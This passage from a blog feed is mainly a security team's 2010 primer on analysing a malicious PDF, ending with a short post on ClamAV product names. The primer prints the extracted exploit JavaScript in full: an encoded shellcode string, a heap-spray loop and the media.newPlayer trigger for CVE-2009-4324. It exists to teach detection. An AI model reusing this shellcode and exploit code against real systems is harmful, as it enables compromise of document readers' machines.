OpenAction-&amp;gt;Javascript-&amp;gt;FlateDecode sequence should immediately concern you.&amp;nbsp; The OpenAction declaration in the object tag means that the associated data should immediately be executed.&amp;nbsp; In this case it is a relative reference to object 5.&amp;nbsp; Object 5 in turn declares the data as JavaScript and points to object 6.&amp;nbsp; Object 6 is a deflated stream of data, which gives us a new obstacle to deal with. &lt;br /&gt;&lt;br /&gt;So object 6 looks like this:&lt;br /&gt;&lt;pre&gt;00000190  3E 65 6E 64 6F 62 6A 0D 0A 36 20 30 20 6F 62 6A &amp;lt;endobj..6 0 obj&lt;br /&gt;000001A0  3C 3C 2F 4C 23 36 35 6E 23 36 37 23 37 34 68 20 &amp;lt;&amp;lt;/L#65n#67#74h &lt;br /&gt;000001B0  32 30 30 38 2F 23 34 36 69 6C 23 37 34 65 23 37 2008/#46il#74e#7&lt;br /&gt;000001C0  32 5B 2F 23 34 36 6C 23 36 31 74 65 44 23 36 35 2[/#46l#61teD#65&lt;br /&gt;000001D0  63 23 36 66 64 65 2F 23 34 31 53 23 34 33 23 34 c#6fde/#41S#43#4&lt;br /&gt;000001E0  39 23 34 39 23 34 38 65 23 37 38 23 34 34 23 36 9#49#48e#78#44#6&lt;br /&gt;000001F0  35 23 36 33 23 36 66 23 36 34 23 36 35 5D 3E 3E 5#63#6f#64#65]&amp;gt;&amp;gt;&lt;br /&gt;00000200  0D 0A 73 74 72 65 61 6D 0D 0A 78 9C 7D 59 6D 92 ..stream..x.}Ym.&lt;br /&gt;00000210  EB 36 0C BB 8A 8E 60 EB D3 FE D3 BB 64 B3 DB FB .6....`.....d...&lt;br /&gt;00000220  1F A1 24 01 52 92 93 E9 4C 37 4D 64 89 22 41 10 ..$.R...L7Md."A.&lt;br /&gt;00000230  94 F5 8E 57 1A 3D F5 33 8D 9C 52 CA 87 7C D4 7F ...W.=.3..R..|..&lt;br /&gt;00000240  E5 A3 BF E5 CB 4B BE B4 91 9A 3C EA FA 57 75 6E .....K....&amp;gt;..Wun&lt;br /&gt;00000250  C2 47 6F FA 4D 3F 64 B1 4D 4B FD 4E AD CA B2 92 .Go.M?d.MK.N....&lt;br /&gt;00000260  FA 0B 13 C6 0D 2B 3A 3C C4 76 BF 6C 48 0D A6 21 .....+:&amp;gt;.v.lH..!&lt;br /&gt;&lt;/pre&gt;Etc…..&lt;br /&gt;&lt;br /&gt;Using Didier Stevens’ pdf-parser, we can get an inflated view of object 6 we can inflate object 6 by using the following arguments:&lt;br /&gt;&lt;pre&gt;[kpyke@segfault]$./pdf-parser.py -o6 -f bad.pdf&lt;/pre&gt;&lt;br /&gt;Let’s take the output one block at a time.&amp;nbsp;&amp;nbsp;Looking at this, your first thought is probably "What the hell is with that variable name?". &amp;nbsp;This is a common JavaScript obfuscation technique. &amp;nbsp;By randomizing the variable names, it is difficult for IDS/AV systems to target them with set signatures. &amp;nbsp;It is definitely a sign that this file is jacked.&lt;br /&gt;&lt;br /&gt;The first variable puts the shellcode into memory:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;var OlJWRbdvveuaWiTCjeyJTphyRwPgnwjlnPwhiTXRqYmV = unescape("%uc931%u89bf%ucf5a%ub1ac%udb48%ud9ca%u2474%u5af4%uea83%u31fc%u0d7a%u7a03%ue20d%ua67c%u2527%u577e%u56b8%ub2f7%u4489%ub663%u58b8%u9ae0%u1230%u0ea4%u56c2%u2060%udc63%u0f56%ud074%uc356%u72b6%u1e2a%u54eb%ud113%u95fe%u0c54%uc4f0%u5a0d%uf8a3%u1e3a%uf878%u14ec%u82c0%ueb89%u38b5%u3b90%u3665%ua3da%u100d%ud2fa%u42c2%u9dc6%ub06f%u1fbd%u88a6%u2e3e%u4786%u9e01%u990b%u1946%uecf4%u59bc%uf689%u2307%u7255%u8395%u241e%u357d%ub3f2%u39f6%ub0bf%u5e50%u143e%u5aeb%u9bcb%ueb3b%ubf8f%ub79f%ua154%u1d86%ude3a%ufad8%u7ae3%ue993%ufdf0%u67fe%u8f06%uc185%u8f08%u6185%ube61%uee0e%u3ff6%u4ac5%u0a08%ufa47%ud381%ube12%ue3cf%ufdc9%u67e9%u7dfb%u770e%u788e%u3f4a%uf163%uaac3%ua683%ufee4%u25e0%u2f7f%ucd83%u0f1a%u4d64%u21c5%ue51f%ucb25%u60ac%u1354%u0e3f%u32ec%ua0cc%uda60%u355b%u4959%uc1fe%ue2f8%u4670%u6d94%ub604%u2f45%uf2a0%u89b9%udb0e%ub0d7%u3b3a%u5444%u5aa1%ucdf8%uf257%u6275%u4db7%uef12%u23de%u9cb3%uce54%u1722%u5cfb%uf7d6%uc46e%u996c%u7603%u36e1%u028a%ue7d9%uaf0d%uf85d");&lt;/pre&gt;&lt;br /&gt;The second block of code sets up the heap spray and adjust the&lt;br /&gt;&lt;pre&gt;&amp;lt;var WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT = unescape("%u41b1%u483f");&lt;br /&gt;while(WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT.length &amp;gt;= 32768) WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT+=WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT;WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT=WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT.substring(0,32768 - OlJWRbdvveuaWiTCjeyJTphyRwPgnwjlnPwhiTXRqYmV.length);&lt;br /&gt;memory=new Array();&lt;br /&gt;&lt;br /&gt;for(i=0;i&amp;lt;0x2000;i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; memory[i]= WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT + OlJWRbdvveuaWiTCjeyJTphyRwPgnwjlnPwhiTXRqYmV;&lt;/pre&gt;&lt;br /&gt;The final block is the vulnerability triggering condition.&amp;nbsp; In this case, it is an exploit of the media.newPlayer vulnerability in Adobe Reader (CVE-2009-4324):&lt;br /&gt;&lt;pre&gt;util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());&lt;br /&gt;util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());&lt;br /&gt;try {this.media.newPlayer(null);} catch(e) {}&lt;br /&gt;util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());&lt;br /&gt;&lt;/pre&gt;So to recap, important things to know about PDFs, just to get started:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&amp;nbsp;ASCII hex encoding, particularly alternating between non-encoded and encoded characters, should raise red flags.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;The OpenAction tag should get your attention, but it does exist in valid documents.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;You need to get out there and check out JavaScript obfuscation, although you should certainly be able to just point to the block and go "I don't know what the hell that is, but it ain't right".&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;In particular, look for the following JS obfuscation keywords:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;unescape&lt;/li&gt;&lt;li&gt;syncAnnotScan&lt;/li&gt;&lt;li&gt;getAnnots&lt;/li&gt;&lt;li&gt;replace&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;In particular, look for the following JS obfuscation techniques:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Renaming functions and then calling the new name&lt;/li&gt;&lt;li&gt;Providing blocks of&amp;nbsp;ASCII&amp;nbsp;hex encoded data&amp;nbsp;separated&amp;nbsp;by a single character and then replacing that char with a "%", then using that block as an unescape.&lt;/li&gt;&lt;li&gt;Randomized variable strings&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;4 &amp;amp; 5 aren't even close to an exhaustive list.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;Track the work of Didier Stevens:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Go here:&amp;nbsp;&lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;http://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;And then keep going here: &amp;nbsp;&lt;a href="http://blog.didierstevens.com/"&gt;http://blog.didierstevens.com/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;And follow :&amp;nbsp;&lt;a href="http://twitter.com/didierstevens"&gt;http://twitter.com/didierstevens&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;Most of the bad stuff you'll see will look wrong right out of the box. Trust your instincts.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3940338024054608214?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3940338024054608214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3940338024054608214' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3940338024054608214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3940338024054608214'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/matts-primer-for-pdf-analysis.html' title='Matt&apos;s Primer for PDF Analysis'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4990994212413696795</id><published>2010-04-01T14:16:00.000-04:00</published><updated>2010-04-01T14:16:05.185-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><title type='text'>What in the name!...</title><content type='html'>If you are confused by the naming of ClamAV products, here's a quick breakdown:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;ClamAV&lt;sup&gt;&amp;reg;&lt;/sup&gt;&lt;/b&gt;: open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways. Available &lt;a href="http://www.clamav.net/lang/en/download/sources/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;li&gt;&lt;b&gt;ClamAV&lt;sup&gt;&amp;reg;&lt;/sup&gt;&lt;/b&gt; (Win32 binaries): Win32 port of ClamAV. Available &lt;a href="http://www.clamav.net/internal/clamav-0.96.tar.gz"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;li&gt;&lt;b&gt;ClamAV&lt;sup&gt;&amp;reg;&lt;/sup&gt; for Windows&lt;/b&gt;: Microsoft&lt;sup&gt;&amp;reg;&lt;/sup&gt; Windows-specific Anti-Virus (AV) solution using an advanced Cloud-based protection mechanism. Developed in partnership with Immunet Corporation. Available &lt;a href="http://www.clamav.net/lang/en/about/win32/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/ul&gt;The products listed above are the only ones developed and maintained by Sourcefire&lt;sup&gt;&amp;reg;&lt;/sup&gt; Inc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4990994212413696795?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4990994212413696795/comments/default' tit
